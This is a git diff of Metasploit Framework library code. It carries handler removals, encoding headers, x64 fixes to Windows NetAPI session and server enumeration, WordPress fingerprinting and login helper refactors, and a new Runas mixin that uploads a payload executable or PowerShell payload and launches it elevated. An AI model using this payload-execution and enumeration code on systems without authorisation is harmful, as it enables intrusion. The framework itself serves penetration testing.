# Override the handler_type to indicate IPv6 mode
|
|
||||||
#
|
|
||||||
def self.handler_type
|
|
||||||
return "reverse_ipv6_http"
|
|
||||||
end
|
|
||||||
|
|
||||||
#
|
|
||||||
# Returns the connection-described general handler type, in this case
|
|
||||||
# 'tunnel'.
|
|
||||||
#
|
|
||||||
def self.general_handler_type
|
|
||||||
"tunnel"
|
|
||||||
end
|
|
||||||
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
@ -1,35 +0,0 @@
|
|||||||
# -*- coding: binary -*-
|
|
||||||
require 'msf/core/handler/reverse_http'
|
|
||||||
require 'msf/core/handler/reverse_https'
|
|
||||||
|
|
||||||
module Msf
|
|
||||||
module Handler
|
|
||||||
|
|
||||||
###
|
|
||||||
#
|
|
||||||
# This handler implements the HTTP SSL tunneling interface.
|
|
||||||
#
|
|
||||||
###
|
|
||||||
module ReverseIPv6Https
|
|
||||||
|
|
||||||
include Msf::Handler::ReverseHttps
|
|
||||||
|
|
||||||
#
|
|
||||||
# Override the handler_type to indicate IPv6 mode
|
|
||||||
#
|
|
||||||
def self.handler_type
|
|
||||||
return "reverse_ipv6_https"
|
|
||||||
end
|
|
||||||
|
|
||||||
#
|
|
||||||
# Returns the connection-described general handler type, in this case
|
|
||||||
# 'tunnel'.
|
|
||||||
#
|
|
||||||
def self.general_handler_type
|
|
||||||
"tunnel"
|
|
||||||
end
|
|
||||||
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
@ -1,3 +1,4 @@
|
|||||||
|
# -*- coding: binary -*-
|
||||||
require 'rex/socket'
|
require 'rex/socket'
|
||||||
require 'thread'
|
require 'thread'
|
||||||
|
|
||||||
|
@ -1,3 +1,4 @@
|
|||||||
|
# -*- coding: binary -*-
|
||||||
|
|
||||||
module Msf::Module::Deprecated
|
module Msf::Module::Deprecated
|
||||||
|
|
||||||
|
@ -1,3 +1,4 @@
|
|||||||
|
# -*- coding: binary -*-
|
||||||
#
|
#
|
||||||
# Gems
|
# Gems
|
||||||
#
|
#
|
||||||
|
@ -1,3 +1,4 @@
|
|||||||
|
# -*- coding: binary -*-
|
||||||
#
|
#
|
||||||
# Gems
|
# Gems
|
||||||
#
|
#
|
||||||
|
@ -1,3 +1,4 @@
|
|||||||
|
# -*- coding: binary -*-
|
||||||
#
|
#
|
||||||
# Gems
|
# Gems
|
||||||
#
|
#
|
||||||
|
@ -1,3 +1,4 @@
|
|||||||
|
# -*- coding: binary -*-
|
||||||
#
|
#
|
||||||
# Gems
|
# Gems
|
||||||
#
|
#
|
||||||
|
@ -1,3 +1,4 @@
|
|||||||
|
# -*- coding: binary -*-
|
||||||
# Concerns reloading modules
|
# Concerns reloading modules
|
||||||
module Msf::ModuleManager::Reloading
|
module Msf::ModuleManager::Reloading
|
||||||
# Reloads the module specified in mod. This can either be an instance of a module or a module class.
|
# Reloads the module specified in mod. This can either be an instance of a module or a module class.
|
||||||
|
@ -1,3 +1,4 @@
|
|||||||
|
# -*- coding: binary -*-
|
||||||
# Namespace for loading Metasploit modules
|
# Namespace for loading Metasploit modules
|
||||||
module Msf::Modules
|
module Msf::Modules
|
||||||
|
|
||||||
|
@ -1,3 +1,4 @@
|
|||||||
|
# -*- coding: binary -*-
|
||||||
# Base error class for all error under {Msf::Modules}
|
# Base error class for all error under {Msf::Modules}
|
||||||
class Msf::Modules::Error < StandardError
|
class Msf::Modules::Error < StandardError
|
||||||
def initialize(attributes={})
|
def initialize(attributes={})
|
||||||
|
@ -1,3 +1,4 @@
|
|||||||
|
# -*- coding: binary -*-
|
||||||
require 'msf/core/modules'
|
require 'msf/core/modules'
|
||||||
|
|
||||||
# Namespace for module loaders
|
# Namespace for module loaders
|
||||||
|
@ -1,3 +1,4 @@
|
|||||||
|
# -*- coding: binary -*-
|
||||||
require 'msf/core/modules/loader/base'
|
require 'msf/core/modules/loader/base'
|
||||||
|
|
||||||
# Concerns loading modules form fastlib archives
|
# Concerns loading modules form fastlib archives
|
||||||
|
@ -1,3 +1,4 @@
|
|||||||
|
# -*- coding: binary -*-
|
||||||
#
|
#
|
||||||
# Project
|
# Project
|
||||||
#
|
#
|
||||||
|
@ -1,3 +1,4 @@
|
|||||||
|
# -*- coding: binary -*-
|
||||||
# Concerns loading module from a directory
|
# Concerns loading module from a directory
|
||||||
class Msf::Modules::Loader::Directory < Msf::Modules::Loader::Base
|
class Msf::Modules::Loader::Directory < Msf::Modules::Loader::Base
|
||||||
# Returns true if the path is a directory
|
# Returns true if the path is a directory
|
||||||
@ -18,7 +19,7 @@ class Msf::Modules::Loader::Directory < Msf::Modules::Loader::Base
|
|||||||
# Yields the module_reference_name for each module file found under the directory path.
|
# Yields the module_reference_name for each module file found under the directory path.
|
||||||
#
|
#
|
||||||
# @param [String] path The path to the directory.
|
# @param [String] path The path to the directory.
|
||||||
# @param [Array] modules An array of regex patterns to search for specific modules
|
# @param [Hash] opts Input Hash.
|
||||||
# @yield (see Msf::Modules::Loader::Base#each_module_reference_name)
|
# @yield (see Msf::Modules::Loader::Base#each_module_reference_name)
|
||||||
# @yieldparam [String] path The path to the directory.
|
# @yieldparam [String] path The path to the directory.
|
||||||
# @yieldparam [String] type The type correlated with the directory under path.
|
# @yieldparam [String] type The type correlated with the directory under path.
|
||||||
|
@ -1,3 +1,4 @@
|
|||||||
|
# -*- coding: binary -*-
|
||||||
require 'msf/core/modules/error'
|
require 'msf/core/modules/error'
|
||||||
|
|
||||||
# Error raised by {Msf::Modules::Namespace#metasploit_class!} if it cannot the namespace_module does not have a constant
|
# Error raised by {Msf::Modules::Namespace#metasploit_class!} if it cannot the namespace_module does not have a constant
|
||||||
|
@ -1,3 +1,4 @@
|
|||||||
|
# -*- coding: binary -*-
|
||||||
require 'metasploit/framework/api/version'
|
require 'metasploit/framework/api/version'
|
||||||
require 'metasploit/framework/core/version'
|
require 'metasploit/framework/core/version'
|
||||||
|
|
||||||
|
@ -1,3 +1,4 @@
|
|||||||
|
# -*- coding: binary -*-
|
||||||
require 'msf/core/modules/error'
|
require 'msf/core/modules/error'
|
||||||
|
|
||||||
# Error raised by {Msf::Modules::Namespace#version_compatible!} on {Msf::Modules::Loader::Base#create_namespace_module}
|
# Error raised by {Msf::Modules::Namespace#version_compatible!} on {Msf::Modules::Loader::Base#create_namespace_module}
|
||||||
|
@ -1,3 +1,4 @@
|
|||||||
|
# -*- coding: binary -*-
|
||||||
require 'msf/core'
|
require 'msf/core'
|
||||||
|
|
||||||
###
|
###
|
||||||
|
@ -1,3 +1,4 @@
|
|||||||
|
# -*- coding: binary -*-
|
||||||
require 'active_support/core_ext/numeric/bytes'
|
require 'active_support/core_ext/numeric/bytes'
|
||||||
module Msf
|
module Msf
|
||||||
|
|
||||||
|
@ -1,3 +1,4 @@
|
|||||||
|
# -*- coding: binary -*-
|
||||||
module Msf::Post::Linux
|
module Msf::Post::Linux
|
||||||
require 'msf/core/post/linux/priv'
|
require 'msf/core/post/linux/priv'
|
||||||
require 'msf/core/post/linux/system'
|
require 'msf/core/post/linux/system'
|
||||||
|
@ -1,3 +1,4 @@
|
|||||||
|
# -*- coding: binary -*-
|
||||||
|
|
||||||
module Msf::Post::OSX
|
module Msf::Post::OSX
|
||||||
require 'msf/core/post/osx/system'
|
require 'msf/core/post/osx/system'
|
||||||
|
@ -1,3 +1,4 @@
|
|||||||
|
# -*- coding: binary -*-
|
||||||
module Msf
|
module Msf
|
||||||
class Post
|
class Post
|
||||||
module OSX
|
module OSX
|
||||||
|
@ -1,3 +1,4 @@
|
|||||||
|
# -*- coding: binary -*-
|
||||||
module Msf::Post::Solaris
|
module Msf::Post::Solaris
|
||||||
require 'msf/core/post/solaris/priv'
|
require 'msf/core/post/solaris/priv'
|
||||||
require 'msf/core/post/solaris/system'
|
require 'msf/core/post/solaris/system'
|
||||||
|
@ -1,3 +1,4 @@
|
|||||||
|
# -*- coding: binary -*-
|
||||||
|
|
||||||
module Msf::Post::Windows
|
module Msf::Post::Windows
|
||||||
require 'msf/core/post/windows/error'
|
require 'msf/core/post/windows/error'
|
||||||
@ -11,6 +12,7 @@ module Msf::Post::Windows
|
|||||||
require 'msf/core/post/windows/process'
|
require 'msf/core/post/windows/process'
|
||||||
require 'msf/core/post/windows/railgun'
|
require 'msf/core/post/windows/railgun'
|
||||||
require 'msf/core/post/windows/registry'
|
require 'msf/core/post/windows/registry'
|
||||||
|
require 'msf/core/post/windows/runas'
|
||||||
require 'msf/core/post/windows/services'
|
require 'msf/core/post/windows/services'
|
||||||
require 'msf/core/post/windows/wmic'
|
require 'msf/core/post/windows/wmic'
|
||||||
require 'msf/core/post/windows/netapi'
|
require 'msf/core/post/windows/netapi'
|
||||||
|
@ -1,3 +1,4 @@
|
|||||||
|
# -*- coding: binary -*-
|
||||||
|
|
||||||
module Msf::Post::Windows::Error
|
module Msf::Post::Windows::Error
|
||||||
SUCCESS = 0x0000
|
SUCCESS = 0x0000
|
||||||
@ -2527,5 +2528,5 @@ module Msf::Post::Windows::Error
|
|||||||
SYSTEM_DEVICE_NOT_FOUND = 0x3BC3
|
SYSTEM_DEVICE_NOT_FOUND = 0x3BC3
|
||||||
HASH_NOT_SUPPORTED = 0x3BC4
|
HASH_NOT_SUPPORTED = 0x3BC4
|
||||||
HASH_NOT_PRESENT = 0x3BC5
|
HASH_NOT_PRESENT = 0x3BC5
|
||||||
|
INVALID_HANDLE_VALUE = 0xffffffff
|
||||||
end
|
end
|
||||||
|
@ -50,7 +50,10 @@ module NetAPI
|
|||||||
|
|
||||||
case result['return']
|
case result['return']
|
||||||
when 0
|
when 0
|
||||||
hosts = read_server_structs(result['bufptr'], result['totalentries'], domain, server_type)
|
# Railgun assumes PDWORDS are pointers and returns 8 bytes for x64 architectures.
|
||||||
|
# Therefore we need to truncate the result value to an actual
|
||||||
|
# DWORD for entriesread or totalentries.
|
||||||
|
hosts = read_server_structs(result['bufptr'], (result['entriesread'] % 4294967296), domain, server_type)
|
||||||
when ERROR_NO_BROWSER_SERVERS_FOUND
|
when ERROR_NO_BROWSER_SERVERS_FOUND
|
||||||
print_error("ERROR_NO_BROWSER_SERVERS_FOUND")
|
print_error("ERROR_NO_BROWSER_SERVERS_FOUND")
|
||||||
return nil
|
return nil
|
||||||
@ -65,26 +68,28 @@ module NetAPI
|
|||||||
end
|
end
|
||||||
|
|
||||||
def read_server_structs(start_ptr, count, domain, server_type)
|
def read_server_structs(start_ptr, count, domain, server_type)
|
||||||
base = 0
|
|
||||||
struct_size = 8
|
|
||||||
hosts = []
|
hosts = []
|
||||||
|
return hosts if count <= 0
|
||||||
|
|
||||||
if count == 0
|
ptr_size = client.railgun.util.pointer_size
|
||||||
return hosts
|
ptr = (ptr_size == 8) ? 'Q<' : 'V'
|
||||||
end
|
|
||||||
|
base = 0
|
||||||
|
# Struct -> Ptr, Ptr
|
||||||
|
struct_size = ptr_size * 2
|
||||||
|
|
||||||
mem = client.railgun.memread(start_ptr, struct_size*count)
|
mem = client.railgun.memread(start_ptr, struct_size*count)
|
||||||
|
|
||||||
count.times do
|
count.times do
|
||||||
x = {}
|
x = {}
|
||||||
x[:version]= mem[(base + 0),4].unpack("V*")[0]
|
x[:version]= mem[(base + 0),ptr_size].unpack(ptr).first
|
||||||
nameptr = mem[(base + 4),4].unpack("V*")[0]
|
nameptr = mem[(base + ptr_size),ptr_size].unpack(ptr).first
|
||||||
x[:name] = UnicodeByteStringToAscii(client.railgun.memread(nameptr, 255))
|
x[:name] = UnicodeByteStringToAscii(client.railgun.memread(nameptr, 255))
|
||||||
hosts << x
|
hosts << x
|
||||||
base += struct_size
|
base += struct_size
|
||||||
end
|
end
|
||||||
|
|
||||||
return hosts
|
hosts
|
||||||
end
|
end
|
||||||
|
|
||||||
def net_session_enum(hostname, username)
|
def net_session_enum(hostname, username)
|
||||||
@ -105,7 +110,7 @@ module NetAPI
|
|||||||
case result['return']
|
case result['return']
|
||||||
when 0
|
when 0
|
||||||
vprint_error("#{hostname} Session identified")
|
vprint_error("#{hostname} Session identified")
|
||||||
sessions = read_session_structs(result['bufptr'], result['totalentries'], hostname)
|
sessions = read_session_structs(result['bufptr'], (result['entriesread'] % 4294967296), hostname)
|
||||||
when ERROR_ACCESS_DENIED
|
when ERROR_ACCESS_DENIED
|
||||||
vprint_error("#{hostname} Access denied...")
|
vprint_error("#{hostname} Access denied...")
|
||||||
return nil
|
return nil
|
||||||
@ -130,17 +135,23 @@ module NetAPI
|
|||||||
end
|
end
|
||||||
|
|
||||||
def read_session_structs(start_ptr, count, hostname)
|
def read_session_structs(start_ptr, count, hostname)
|
||||||
base = 0
|
|
||||||
struct_size = 16
|
|
||||||
sessions = []
|
sessions = []
|
||||||
|
return sessions if count <= 0
|
||||||
|
|
||||||
|
ptr_size = client.railgun.util.pointer_size
|
||||||
|
ptr = (ptr_size == 8) ? 'Q<' : 'V'
|
||||||
|
|
||||||
|
base = 0
|
||||||
|
# Struct -> Ptr, Ptr, Dword Dword
|
||||||
|
struct_size = (ptr_size * 2) + 8
|
||||||
mem = client.railgun.memread(start_ptr, struct_size*count)
|
mem = client.railgun.memread(start_ptr, struct_size*count)
|
||||||
|
|
||||||
count.times do
|
count.times do
|
||||||
sess = {}
|
sess = {}
|
||||||
cnameptr = mem[(base + 0),4].unpack("V*")[0]
|
cnameptr = mem[(base + 0),ptr_size].unpack(ptr).first
|
||||||
usernameptr = mem[(base + 4),4].unpack("V*")[0]
|
usernameptr = mem[(base + ptr_size),ptr_size].unpack(ptr).first
|
||||||
sess[:usetime] = mem[(base + 8),4].unpack("V*")[0]
|
sess[:usetime] = mem[(base + (ptr_size * 2)),4].unpack('V').first
|
||||||
sess[:idletime] = mem[(base + 12),4].unpack("V*")[0]
|
sess[:idletime] = mem[(base + (ptr_size * 2) + 4),4].unpack('V').first
|
||||||
sess[:cname] = UnicodeByteStringToAscii(client.railgun.memread(cnameptr,255))
|
sess[:cname] = UnicodeByteStringToAscii(client.railgun.memread(cnameptr,255))
|
||||||
sess[:username] = UnicodeByteStringToAscii(client.railgun.memread(usernameptr,255))
|
sess[:username] = UnicodeByteStringToAscii(client.railgun.memread(usernameptr,255))
|
||||||
sess[:hostname] = hostname
|
sess[:hostname] = hostname
|
||||||
@ -148,7 +159,7 @@ module NetAPI
|
|||||||
base = base + struct_size
|
base = base + struct_size
|
||||||
end
|
end
|
||||||
|
|
||||||
return sessions
|
sessions
|
||||||
end
|
end
|
||||||
|
|
||||||
end # NetAPI
|
end # NetAPI
|
||||||
|
38
lib/msf/core/post/windows/runas.rb
Normal file
38
lib/msf/core/post/windows/runas.rb
Normal file
@ -0,0 +1,38 @@
|
|||||||
|
# -*- coding: binary -*-
|
||||||
|
|
||||||
|
require 'msf/core/exploit/powershell'
|
||||||
|
require 'msf/core/exploit/exe'
|
||||||
|
|
||||||
|
module Msf::Post::Windows::Runas
|
||||||
|
include Msf::Post::File
|
||||||
|
include Msf::Exploit::EXE
|
||||||
|
include Msf::Exploit::Powershell
|
||||||
|
|
||||||
|
def execute_exe(filename = nil, path = nil, upload = nil)
|
||||||
|
payload_filename = filename || Rex::Text.rand_text_alpha((rand(8) + 6)) + '.exe'
|
||||||
|
payload_path = path || get_env('TEMP')
|
||||||
|
cmd_location = "#{payload_path}\\#{payload_filename}"
|
||||||
|
|
||||||
|
if upload
|
||||||
|
exe_payload = generate_payload_exe
|
||||||
|
print_status("Uploading #{payload_filename} - #{exe_payload.length} bytes to the filesystem...")
|
||||||
|
write_file(cmd_location, exe_payload)
|
||||||
|
else
|
||||||
|
print_status("No file uploaded, attempting to execute #{cmd_location}...")
|
||||||
|
end
|
||||||
|
|
||||||
|
shell_exec(cmd_location, nil)
|
||||||
|
end
|
||||||
|
|
||||||
|
def execute_psh
|
||||||
|
powershell_command = cmd_psh_payload(payload.encoded, payload_instance.arch.first)
|
||||||
|
command = 'cmd.exe'
|
||||||
|
args = "/c #{powershell_command}"
|
||||||
|
shell_exec(command, args)
|
||||||
|
end
|
||||||
|
|
||||||
|
def shell_exec(command, args)
|
||||||
|
print_status('Executing elevated command...')
|
||||||
|
session.railgun.shell32.ShellExecuteA(nil, 'runas', command, args, nil, 'SW_SHOW')
|
||||||
|
end
|
||||||
|
end
|
@ -18,8 +18,20 @@ module Msf::HTTP::Typo3::Login
|
|||||||
return nil
|
return nil
|
||||||
end
|
end
|
||||||
|
|
||||||
e = res_main.body.match(/<input type="hidden" id="rsa_e" name="e" value="(\d+)" \/>/)[1]
|
e_match = res_main.body.match(/<input type="hidden" id="rsa_e" name="e" value="(\d+)" \/>/)
|
||||||
n = res_main.body.match(/<input type="hidden" id="rsa_n" name="n" value="(\w+)" \/>/)[1]
|
if e_match.nil?
|
||||||
|
vprint_error('Can not find rsa_e value')
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
e = e_match[1]
|
||||||
|
|
||||||
|
n_match = res_main.body.match(/<input type="hidden" id="rsa_n" name="n" value="(\w+)" \/>/)
|
||||||
|
if n_match.nil?
|
||||||
|
vprint_error('Can not find rsa_n value')
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
n = n_match[1]
|
||||||
|
|
||||||
vprint_debug("e: #{e}")
|
vprint_debug("e: #{e}")
|
||||||
vprint_debug("n: #{n}")
|
vprint_debug("n: #{n}")
|
||||||
rsa_enc = typo3_helper_login_rsa(e, n, pass)
|
rsa_enc = typo3_helper_login_rsa(e, n, pass)
|
||||||
|
@ -25,10 +25,20 @@ module Msf
|
|||||||
super
|
super
|
||||||
|
|
||||||
register_options(
|
register_options(
|
||||||
[
|
[
|
||||||
Msf::OptString.new('TARGETURI', [true, 'The base path to the wordpress application', '/']),
|
Msf::OptString.new('TARGETURI', [true, 'The base path to the wordpress application', '/'])
|
||||||
], HTTP::Wordpress
|
], HTTP::Wordpress
|
||||||
)
|
)
|
||||||
|
|
||||||
|
register_advanced_options(
|
||||||
|
[
|
||||||
|
Msf::OptString.new('WPCONTENTDIR', [true, 'The name of the wp-content directory', 'wp-content'])
|
||||||
|
], HTTP::Wordpress
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
|
def wp_content_dir
|
||||||
|
datastore['WPCONTENTDIR']
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
@ -1,28 +1,23 @@
|
|||||||
# -*- coding: binary -*-
|
# -*- coding: binary -*-
|
||||||
|
|
||||||
module Msf::HTTP::Wordpress::Base
|
module Msf::HTTP::Wordpress::Base
|
||||||
|
|
||||||
# Checks if the site is online and running wordpress
|
# Checks if the site is online and running wordpress
|
||||||
#
|
#
|
||||||
# @return [Rex::Proto::Http::Response,nil] Returns the HTTP response if the site is online and running wordpress, nil otherwise
|
# @return [Rex::Proto::Http::Response,nil] Returns the HTTP response if the site is online and running wordpress, nil otherwise
|
||||||
def wordpress_and_online?
|
def wordpress_and_online?
|
||||||
begin
|
res = send_request_cgi(
|
||||||
res = send_request_cgi({
|
'method' => 'GET',
|
||||||
'method' => 'GET',
|
'uri' => normalize_uri(target_uri.path)
|
||||||
'uri' => normalize_uri(target_uri.path)
|
)
|
||||||
})
|
wordpress_detect_regexes = [
|
||||||
return res if res and
|
/["'][^"']*\/#{Regexp.escape(wp_content_dir)}\/[^"']*["']/i,
|
||||||
res.code == 200 and
|
/<link rel=["']wlwmanifest["'].*href=["'].*\/wp-includes\/wlwmanifest\.xml["'] \/>/i,
|
||||||
(
|
/<link rel=["']pingback["'].*href=["'].*\/xmlrpc\.php["'](?: \/)*>/i
|
||||||
res.body =~ /["'][^"']*\/wp-content\/[^"']*["']/i or
|
]
|
||||||
res.body =~ /<link rel=["']wlwmanifest["'].*href=["'].*\/wp-includes\/wlwmanifest\.xml["'] \/>/i or
|
return res if res && res.code == 200 && res.body && wordpress_detect_regexes.any? { |r| res.body =~ r }
|
||||||
res.body =~ /<link rel=["']pingback["'].*href=["'].*\/xmlrpc\.php["'] \/>/i
|
return nil
|
||||||
)
|
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
|
||||||
return nil
|
print_error("#{peer} - Error connecting to #{target_uri}: #{e}")
|
||||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
return nil
|
||||||
print_error("#{peer} - Error connecting to #{target_uri}")
|
|
||||||
return nil
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
@ -49,7 +49,7 @@ module Msf::HTTP::Wordpress::Helpers
|
|||||||
options.merge!({'vars_post' => vars_post})
|
options.merge!({'vars_post' => vars_post})
|
||||||
options.merge!({'cookie' => login_cookie}) if login_cookie
|
options.merge!({'cookie' => login_cookie}) if login_cookie
|
||||||
res = send_request_cgi(options)
|
res = send_request_cgi(options)
|
||||||
if res and (res.code == 301 or res.code == 302) and res.headers['Location']
|
if res && res.redirect? && res.redirection
|
||||||
return wordpress_helper_parse_location_header(res)
|
return wordpress_helper_parse_location_header(res)
|
||||||
else
|
else
|
||||||
message = "#{peer} - Post comment failed."
|
message = "#{peer} - Post comment failed."
|
||||||
@ -101,7 +101,7 @@ module Msf::HTTP::Wordpress::Helpers
|
|||||||
else
|
else
|
||||||
return res.body
|
return res.body
|
||||||
end
|
end
|
||||||
elsif res and (res.code == 301 or res.code == 302) and res.headers['Location']
|
elsif res && res.redirect? && res.redirection
|
||||||
path = wordpress_helper_parse_location_header(res)
|
path = wordpress_helper_parse_location_header(res)
|
||||||
return wordpress_helper_check_post_id(path, comments_enabled, login_cookie)
|
return wordpress_helper_check_post_id(path, comments_enabled, login_cookie)
|
||||||
end
|
end
|
||||||
@ -113,9 +113,9 @@ module Msf::HTTP::Wordpress::Helpers
|
|||||||
# @param res [Rex::Proto::Http::Response] The HTTP response
|
# @param res [Rex::Proto::Http::Response] The HTTP response
|
||||||
# @return [String,nil] the path and query, nil on error
|
# @return [String,nil] the path and query, nil on error
|
||||||
def wordpress_helper_parse_location_header(res)
|
def wordpress_helper_parse_location_header(res)
|
||||||
return nil unless res and (res.code == 301 or res.code == 302) and res.headers['Location']
|
return nil unless res && res.redirect? && res.redirection
|
||||||
|
|
||||||
location = res.headers['Location']
|
location = res.redirection
|
||||||
path_from_uri(location)
|
path_from_uri(location)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -1,6 +1,6 @@
|
|||||||
# -*- coding: binary -*-
|
# -*- coding: binary -*-
|
||||||
module Msf::HTTP::Wordpress::Login
|
|
||||||
|
|
||||||
|
module Msf::HTTP::Wordpress::Login
|
||||||
# performs a wordpress login
|
# performs a wordpress login
|
||||||
#
|
#
|
||||||
# @param user [String] Username
|
# @param user [String] Username
|
||||||
@ -8,21 +8,23 @@ module Msf::HTTP::Wordpress::Login
|
|||||||
# @return [String,nil] the session cookies as a single string on successful login, nil otherwise
|
# @return [String,nil] the session cookies as a single string on successful login, nil otherwise
|
||||||
def wordpress_login(user, pass)
|
def wordpress_login(user, pass)
|
||||||
redirect = "#{target_uri}#{Rex::Text.rand_text_alpha(8)}"
|
redirect = "#{target_uri}#{Rex::Text.rand_text_alpha(8)}"
|
||||||
res = send_request_cgi({
|
res = send_request_cgi(
|
||||||
'method' => 'POST',
|
'method' => 'POST',
|
||||||
'uri' => wordpress_url_login,
|
'uri' => wordpress_url_login,
|
||||||
'vars_post' => wordpress_helper_login_post_data(user, pass, redirect)
|
'vars_post' => wordpress_helper_login_post_data(user, pass, redirect)
|
||||||
})
|
)
|
||||||
|
if res && res.redirect? && res.redirection && res.redirection.to_s == redirect
|
||||||
if res and (res.code == 301 or res.code == 302) and res.headers['Location'] == redirect
|
|
||||||
cookies = res.get_cookies
|
cookies = res.get_cookies
|
||||||
# Check if a valid wordpress cookie is returned
|
# Check if a valid wordpress cookie is returned
|
||||||
return cookies if cookies =~ /wordpress(?:_sec)?_logged_in_[^=]+=[^;]+;/i ||
|
return cookies if
|
||||||
|
# current Wordpress
|
||||||
|
cookies =~ /wordpress(?:_sec)?_logged_in_[^=]+=[^;]+;/i ||
|
||||||
|
# Wordpress 2.0
|
||||||
cookies =~ /wordpress(?:user|pass)_[^=]+=[^;]+;/i ||
|
cookies =~ /wordpress(?:user|pass)_[^=]+=[^;]+;/i ||
|
||||||
|
# Wordpress 2.5
|
||||||
cookies =~ /wordpress_[a-z0-9]+=[^;]+;/i
|
cookies =~ /wordpress_[a-z0-9]+=[^;]+;/i
|
||||||
end
|
end
|
||||||
|
|
||||||
return nil
|
nil
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
@ -112,7 +112,7 @@ module Msf::HTTP::Wordpress::Posts
|
|||||||
count = max_redirects
|
count = max_redirects
|
||||||
|
|
||||||
# Follow redirects
|
# Follow redirects
|
||||||
while (res.code == 301 || res.code == 302) and res.headers['Location'] and count != 0
|
while res.redirect? && res.redirection && count != 0
|
||||||
path = wordpress_helper_parse_location_header(res)
|
path = wordpress_helper_parse_location_header(res)
|
||||||
return nil unless path
|
return nil unless path
|
||||||
|
|
||||||
|
@ -80,4 +80,32 @@ module Msf::HTTP::Wordpress::URIs
|
|||||||
normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php')
|
normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php')
|
||||||
end
|
end
|
||||||
|
|
||||||
|
# Returns the Wordpress wp-content dir URL
|
||||||
|
#
|
||||||
|
# @return [String] Wordpress wp-content dir URL
|
||||||
|
def wordpress_url_wp_content
|
||||||
|
normalize_uri(target_uri.path, wp_content_dir)
|
||||||
|
end
|
||||||
|
|
||||||
|
# Returns the Wordpress plugins dir URL
|
||||||
|
#
|
||||||
|
# @return [String] Wordpress plugins dir URL
|
||||||
|
def wordpress_url_plugins
|
||||||
|
normalize_uri(wordpress_url_wp_content, 'plugins')
|
||||||
|
end
|
||||||
|
|
||||||
|
# Returns the Wordpress themes dir URL
|
||||||
|
#
|
||||||
|
# @return [String] Wordpress themes dir URL
|
||||||
|
def wordpress_url_themes
|
||||||
|
normalize_uri(wordpress_url_wp_content, 'themes')
|
||||||
|
end
|
||||||
|
|
||||||
|
# Returns the Wordpress XMLRPC URL
|
||||||
|
#
|
||||||
|
# @return [String] Wordpress XMLRPC URL
|
||||||
|
def wordpress_url_xmlrpc
|
||||||
|
normalize_uri(target_uri.path, 'xmlrpc.php')
|
||||||
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
@ -33,7 +33,7 @@ module Msf::HTTP::Wordpress::Users
|
|||||||
'uri' => url
|
'uri' => url
|
||||||
})
|
})
|
||||||
|
|
||||||
if res and res.code == 301
|
if res and res.redirect?
|
||||||
uri = wordpress_helper_parse_location_header(res)
|
uri = wordpress_helper_parse_location_header(res)
|
||||||
return nil unless uri
|
return nil unless uri
|
||||||
# try to extract username from location
|
# try to extract username from location
|
||||||
|
@ -2,63 +2,124 @@
|
|||||||
|
|
||||||
module Msf::HTTP::Wordpress::Version
|
module Msf::HTTP::Wordpress::Version
|
||||||
|
|
||||||
|
# Used to check if the version is correct: must contain at least one dot
|
||||||
|
WORDPRESS_VERSION_PATTERN = '([^\r\n"\']+\.[^\r\n"\']+)'
|
||||||
|
|
||||||
# Extracts the Wordpress version information from various sources
|
# Extracts the Wordpress version information from various sources
|
||||||
#
|
#
|
||||||
# @return [String,nil] Wordpress version if found, nil otherwise
|
# @return [String,nil] Wordpress version if found, nil otherwise
|
||||||
def wordpress_version
|
def wordpress_version
|
||||||
# detect version from generator
|
# detect version from generator
|
||||||
version = wordpress_version_helper(normalize_uri(target_uri.path), /<meta name="generator" content="WordPress #{wordpress_version_pattern}" \/>/i)
|
version = wordpress_version_helper(normalize_uri(target_uri.path), /<meta name="generator" content="WordPress #{WORDPRESS_VERSION_PATTERN}" \/>/i)
|
||||||
return version if version
|
return version if version
|
||||||
|
|
||||||
# detect version from readme
|
# detect version from readme
|
||||||
version = wordpress_version_helper(wordpress_url_readme, /<br \/>\sversion #{wordpress_version_pattern}/i)
|
version = wordpress_version_helper(wordpress_url_readme, /<br \/>\sversion #{WORDPRESS_VERSION_PATTERN}/i)
|
||||||
return version if version
|
return version if version
|
||||||
|
|
||||||
# detect version from rss
|
# detect version from rss
|
||||||
version = wordpress_version_helper(wordpress_url_rss, /<generator>http:\/\/wordpress.org\/\?v=#{wordpress_version_pattern}<\/generator>/i)
|
version = wordpress_version_helper(wordpress_url_rss, /<generator>http:\/\/wordpress.org\/\?v=#{WORDPRESS_VERSION_PATTERN}<\/generator>/i)
|
||||||
return version if version
|
return version if version
|
||||||
|
|
||||||
# detect version from rdf
|
# detect version from rdf
|
||||||
version = wordpress_version_helper(wordpress_url_rdf, /<admin:generatorAgent rdf:resource="http:\/\/wordpress.org\/\?v=#{wordpress_version_pattern}" \/>/i)
|
version = wordpress_version_helper(wordpress_url_rdf, /<admin:generatorAgent rdf:resource="http:\/\/wordpress.org\/\?v=#{WORDPRESS_VERSION_PATTERN}" \/>/i)
|
||||||
return version if version
|
return version if version
|
||||||
|
|
||||||
# detect version from atom
|
# detect version from atom
|
||||||
version = wordpress_version_helper(wordpress_url_atom, /<generator uri="http:\/\/wordpress.org\/" version="#{wordpress_version_pattern}">WordPress<\/generator>/i)
|
version = wordpress_version_helper(wordpress_url_atom, /<generator uri="http:\/\/wordpress.org\/" version="#{WORDPRESS_VERSION_PATTERN}">WordPress<\/generator>/i)
|
||||||
return version if version
|
return version if version
|
||||||
|
|
||||||
# detect version from sitemap
|
# detect version from sitemap
|
||||||
version = wordpress_version_helper(wordpress_url_sitemap, /generator="wordpress\/#{wordpress_version_pattern}"/i)
|
version = wordpress_version_helper(wordpress_url_sitemap, /generator="wordpress\/#{WORDPRESS_VERSION_PATTERN}"/i)
|
||||||
